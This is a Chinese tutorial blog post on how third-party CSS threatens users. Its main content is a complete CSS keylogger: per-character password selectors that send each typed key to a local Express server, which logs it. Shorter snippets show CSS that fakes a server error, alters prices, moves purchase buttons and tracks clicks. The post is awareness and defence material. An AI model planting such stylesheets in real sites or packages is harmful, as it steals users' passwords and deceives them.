Css 威胁用户安全的几种方式

目录

1. 第三方资源有哪些威胁?

1.1 Image

1.2 JavaScript

1.3 Css

2. Css 威胁用户安全的几种方式

2.1 Css 键盘记录器

2.1.1 html —— react 模板

2.1.2 css —— 密码表

2.1.3 javascript —— 本地 Node.js 服务器脚本

2.1.4 最终效果

2.2 控制页面元素的增删改

2.2.1 控制页面隐藏并报错

2.2.2 使用伪元素篡改内容

2.2.3 修改元素位置

2.3 监视用户交互行为

3. 参考


1. 第三方资源有哪些威胁?

1.1 Image

<img src="https://img.com/test.png" />

引用第三方图片资源,可能会出现两个问题:

  • 图片资源失效 —— 无法预览图片
  • 图片资源被替换 —— 被替换成其他图片

图片资源只会影响图片展示效果,无法影响其他功能

1.2 JavaScript

<script src="http://javascript.com/script.js"></script>

 引用第三方脚本资源,可能会出现许多问题:

  • 读取、篡改浏览器 storage(这种内容被修改的话,即使删除脚本,也不能恢复原效果)
  • 监视用户行为
  • 使用浏览器算力进行挖矿
  • ...

JavaScript 对整个网页生效,只有完全信任某个网站,才能允许它加载脚本资源 

1.3 Css

<link href="http://css.com/style.css" />

引用第三方样式库,可能会出现许多问题:

  • 根据页面输入内容,发起请求,捕获输入值(Css 键盘记录器)
  • 增加、删除、修改页面内容(样式注入覆盖调整)
  • 监视交互行为,完成客户画像(也是利用了 css 发送请求)

Css 同样对整个网页生效,浏览器可以禁用 JavaScript 脚本,却不能禁用 css

2. Css 威胁用户安全的几种方式

2.1 Css 键盘记录器

使用封装好的 css 库,同样有隐患,比如 React 项目中的 Css 键盘记录器 —— 它能够记录用户在网页中的输入

react 中的 input,如果是 password 类型,则 value 会随着用户的输入,被写到 html 里

2.1.1 html —— react 模板

引入 css 样式 —— 这里定义了密码表

引入 React CDN 库

将一个 input 挂载到 app 上

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <title>React - Css 键盘记录器</title>
    <link rel="stylesheet" href="./index.css" />
  </head>
  <body>

    <div id="app"></div>

    <script src="https://cdn.bootcdn.net/ajax/libs/react/16.13.1/umd/react.production.min.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/react-dom/16.13.1/umd/react-dom.production.min.js"></script>
    <script src="https://cdn.bootcdn.net/ajax/libs/babel-standalone/7.0.0-beta.3/babel.min.js"></script>
    <script type="text/babel">
      const InputDomRef = React.createElement(() => {
        const { useState } = window.React;

        // 设置 input 默认 value 值
        const [state, setState] = useState({ val: "" });

        // 监听 input 的 value 值改变
        const setInput = (e) => {
          setState({
            val: e.target.value,
          });
        };

        return (
          <input type="password" onChange={setInput} value={state.val}></input>
        );
      });

      // 在 DOM 元素上挂载 input
      ReactDOM.render(InputDomRef, document.getElementById("app"));
    </script>
  </body>
</html>

2.1.2 css —— 密码表

为每个 ASCII 码字符,发送自定义请求

如果密码输入框,输入了以 ! 结尾的字符,就会发送请求 http://localhost:3000/%21

input[type="password"][value$=" "] {
  background-image: url("http://localhost:3000/+");
}
input[type="password"][value$="!"] {
  background-image: url("http://localhost:3000/%21");
}
input[type="password"][value$='"'] {
  background-image: url("http://localhost:3000/%22");
}
input[type="password"][value$="#"] {
  background-image: url("http://localhost:3000/%23");
}
input[type="password"][value$="$"] {
  background-image: url("http://localhost:3000/%24");
}
input[type="password"][value$="%"] {
  background-image: url("http://localhost:3000/%25");
}
input[type="password"][value$="&"] {
  background-image: url("http://localhost:3000/%26");
}
input[type="password"][value$="'"] {
  background-image: url("http://localhost:3000/%27");
}
input[type="password"][value$="("] {
  background-image: url("http://localhost:3000/%28");
}
input[type="password"][value$=")"] {
  background-image: url("http://localhost:3000/%29");
}
input[type="password"][value$="*"] {
  background-image: url("http://localhost:3000/%2A");
}
input[type="password"][value$="+"] {
  background-image: url("http://localhost:3000/%2B");
}
input[type="password"][value$=","] {
  background-image: url("http://localhost:3000/%2C");
}
input[type="password"][value$="-"] {
  background-image: url("http://localhost:3000/-");
}
input[type="password"][value$="."] {
  background-image: url("http://localhost:3000/.");
}
input[type="password"][value$="/"] {
  background-image: url("http://localhost:3000/%2F");
}
input[type="password"][value$="0"] {
  background-image: url("http://localhost:3000/0");
}
input[type="password"][value$="1"] {
  background-image: url("http://localhost:3000/1");
}
input[type="password"][value$="2"] {
  background-image: url("http://localhost:3000/2");
}
input[type="password"][value$="3"] {
  background-image: url("http://localhost:3000/3");
}
input[type="password"][value$="4"] {
  background-image: url("http://localhost:3000/4");
}
input[type="password"][value$="5"] {
  background-image: url("http://localhost:3000/5");
}
input[type="password"][value$="6"] {
  background-image: url("http://localhost:3000/6");
}
input[type="password"][value$="7"] {
  background-image: url("http://localhost:3000/7");
}
input[type="password"][value$="8"] {
  background-image: url("http://localhost:3000/8");
}
input[type="password"][value$="9"] {
  background-image: url("http://localhost:3000/9");
}
input[type="password"][value$=":"] {
  background-image: url("http://localhost:3000/%3A");
}
input[type="password"][value$=";"] {
  background-image: url("http://localhost:3000/%3B");
}
input[type="password"][value$="<"] {
  background-image: url("http://localhost:3000/%3C");
}
input[type="password"][value$="="] {
  background-image: url("http://localhost:3000/%3D");
}
input[type="password"][value$=">"] {
  background-image: url("http://localhost:3000/%3E");
}
input[type="password"][value$="?"] {
  background-image: url("http://localhost:3000/%3F");
}
input[type="password"][value$="@"] {
  background-image: url("http://localhost:3000/%40");
}
input[type="password"][value$="A"] {
  background-image: url("http://localhost:3000/A");
}
input[type="password"][value$="B"] {
  background-image: url("http://localhost:3000/B");
}
input[type="password"][value$="C"] {
  background-image: url("http://localhost:3000/C");
}
input[type="password"][value$="D"] {
  background-image: url("http://localhost:3000/D");
}
input[type="password"][value$="E"] {
  background-image: url("http://localhost:3000/E");
}
input[type="password"][value$="F"] {
  background-image: url("http://localhost:3000/F");
}
input[type="password"][value$="G"] {
  background-image: url("http://localhost:3000/G");
}
input[type="password"][value$="H"] {
  background-image: url("http://localhost:3000/H");
}
input[type="password"][value$="I"] {
  background-image: url("http://localhost:3000/I");
}
input[type="password"][value$="J"] {
  background-image: url("http://localhost:3000/J");
}
input[type="password"][value$="K"] {
  background-image: url("http://localhost:3000/K");
}
input[type="password"][value$="L"] {
  background-image: url("http://localhost:3000/L");
}
input[type="password"][value$="M"] {
  background-image: url("http://localhost:3000/M");
}
input[type="password"][value$="N"] {
  background-image: url("http://localhost:3000/N");
}
input[type="password"][value$="O"] {
  background-image: url("http://localhost:3000/O");
}
input[type="password"][value$="P"] {
  background-image: url("http://localhost:3000/P");
}
input[type="password"][value$="Q"] {
  background-image: url("http://localhost:3000/Q");
}
input[type="password"][value$="R"] {
  background-image: url("http://localhost:3000/R");
}
input[type="password"][value$="S"] {
  background-image: url("http://localhost:3000/S");
}
input[type="password"][value$="T"] {
  background-image: url("http://localhost:3000/T");
}
input[type="password"][value$="U"] {
  background-image: url("http://localhost:3000/U");
}
input[type="password"][value$="V"] {
  background-image: url("http://localhost:3000/V");
}
input[type="password"][value$="W"] {
  background-image: url("http://localhost:3000/W");
}
input[type="password"][value$="X"] {
  background-image: url("http://localhost:3000/X");
}
input[type="password"][value$="Y"] {
  background-image: url("http://localhost:3000/Y");
}
input[type="password"][value$="Z"] {
  background-image: url("http://localhost:3000/Z");
}
input[type="password"][value$="["] {
  background-image: url("http://localhost:3000/%5B");
}
input[type="password"][value$="\\"] {
  background-image: url("http://localhost:3000/%5C");
}
input[type="password"][value$="]"] {
  background-image: url("http://localhost:3000/%5D");
}
input[type="password"][value$="^"] {
  background-image: url("http://localhost:3000/%5E");
}
input[type="password"][value$="_"] {
  background-image: url("http://localhost:3000/_");
}
input[type="password"][value$="`"] {
  background-image: url("http://localhost:3000/%60");
}
input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}
input[type="password"][value$="b"] {
  background-image: url("http://localhost:3000/b");
}
input[type="password"][value$="c"] {
  background-image: url("http://localhost:3000/c");
}
input[type="password"][value$="d"] {
  background-image: url("http://localhost:3000/d");
}
input[type="password"][value$="e"] {
  background-image: url("http://localhost:3000/e");
}
input[type="password"][value$="f"] {
  background-image: url("http://localhost:3000/f");
}
input[type="password"][value$="g"] {
  background-image: url("http://localhost:3000/g");
}
input[type="password"][value$="h"] {
  background-image: url("http://localhost:3000/h");
}
input[type="password"][value$="i"] {
  background-image: url("http://localhost:3000/i");
}
input[type="password"][value$="j"] {
  background-image: url("http://localhost:3000/j");
}
input[type="password"][value$="k"] {
  background-image: url("http://localhost:3000/k");
}
input[type="password"][value$="l"] {
  background-image: url("http://localhost:3000/l");
}
input[type="password"][value$="m"] {
  background-image: url("http://localhost:3000/m");
}
input[type="password"][value$="n"] {
  background-image: url("http://localhost:3000/n");
}
input[type="password"][value$="o"] {
  background-image: url("http://localhost:3000/o");
}
input[type="password"][value$="p"] {
  background-image: url("http://localhost:3000/p");
}
input[type="password"][value$="q"] {
  background-image: url("http://localhost:3000/q");
}
input[type="password"][value$="r"] {
  background-image: url("http://localhost:3000/r");
}
input[type="password"][value$="s"] {
  background-image: url("http://localhost:3000/s");
}
input[type="password"][value$="t"] {
  background-image: url("http://localhost:3000/t");
}
input[type="password"][value$="u"] {
  background-image: url("http://localhost:3000/u");
}
input[type="password"][value$="v"] {
  background-image: url("http://localhost:3000/v");
}
input[type="password"][value$="w"] {
  background-image: url("http://localhost:3000/w");
}
input[type="password"][value$="x"] {
  background-image: url("http://localhost:3000/x");
}
input[type="password"][value$="y"] {
  background-image: url("http://localhost:3000/y");
}
input[type="password"][value$="z"] {
  background-image: url("http://localhost:3000/z");
}
input[type="password"][value$="{"] {
  background-image: url("http://localhost:3000/%7B");
}
input[type="password"][value$="|"] {
  background-image: url("http://localhost:3000/%7C");
}
input[type="password"][value$="\\}"] {
  background-image: url("http://localhost:3000/%7D");
}
input[type="password"][value$="~"] {
  background-image: url("http://localhost:3000/~");
}
input[type="password"][value$=""] {
  background-image: url("http://localhost:3000/%7F");
}

2.1.3 javascript —— 本地 Node.js 服务器脚本

新建 package.json

npm init -y

安装 express

yarn add express

生成的 package.json

{
  "name": "react-test",
  "version": "1.0.0",
  "description": "",
  "main": "main.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "express": "^4.18.2"
  }
}

编写 main.js

const express = require("express");
const app = express();

app.get("/:key", (req, res) => {
  // 打印键值
  process.stdout.write(req.params.key);
  return res.sendStatus(400);
});

app.listen(3000, () => console.log("服务器启动成功"));

nodejs 中的 process.stdout.write_天猫精灵998的博客-CSDN博客_nodejs process.stdout.write今天看了一个 npm 包的源码,里面用到了 process.stdout.write 这个 API 。咋一看感觉跟 Java 的 System.out.print 有点类似,但是 JS 打印的语句难道不是 console.log 么?于是查了下,发现 console.log 原来底层就是基于 process.stdout.write 实现的:Console.prototype.log = function() { this._stdout.write(util.format.apply(this, ahttps://blog.csdn.net/weixin_43487782/article/details/117488160

启动 main.js(在项目根目录下)

node main.js

2.1.4 最终效果

在浏览器中打开 html 页面,用户输入后,value 值被直接写入了 html

在终端中查看控制台输出,服务器接收到了用户输入的值 

 

2.2 控制页面元素的增删改

2.2.1 控制页面隐藏并报错

body {
    display: none;
}
html::after {
    content: 'HTTP 500 Server Error';
}

2.2.2 使用伪元素篡改内容

.price-value::after {
    content: '8';
}

2.2.3 修改元素位置

.move-purchase-button {
    opacity: 0;
    position: absolute;
    top: 100px;
    left: 100px;
}

2.3 监视用户交互行为

用户不同的交互状态,会发送不同的 http 请求

.login-button:hover {
    background: url('//example.com/login-button-hover');
}
.login-button:active {
    background: url('//example.com/login-button-active');
}

3. 参考

别人写的css,你敢用吗? | YeaseonZhang为了实现高效开发,大多数时候会选择别人实现好的库/组件引用到自己的项目中,但是这样真的安全吗? 大多数web开发者认为只要不使用别人的js,安全就会有保证。Too young, too naive,殊不知“黑客”已经开始在css上做手脚了。 在浏览器设置中用户可以禁用js,但是css却是没有办法禁用的。 首先聊一聊使用第三方资源,能够造成的危害。http://yeaseonzhang.github.io/2018/04/10/%E5%88%AB%E4%BA%BA%E5%86%99%E7%9A%84css%EF%BC%8C%E4%BD%A0%E6%95%A2%E7%94%A8%E5%90%97%EF%BC%9F/

第二章(CSS 键盘记录器-React)_哔哩哔哩_bilibili第二章(CSS 键盘记录器-React)是小满网络安全系列的第2集视频,该合集共计7集,视频收藏或关注UP主,及时了解更多相关视频内容。https://www.bilibili.com/video/BV1eZ4y1C7Jc?p=2&vd_source=8bc01635b95dbe8ecd349b2c23b03a10

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lyrelion

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值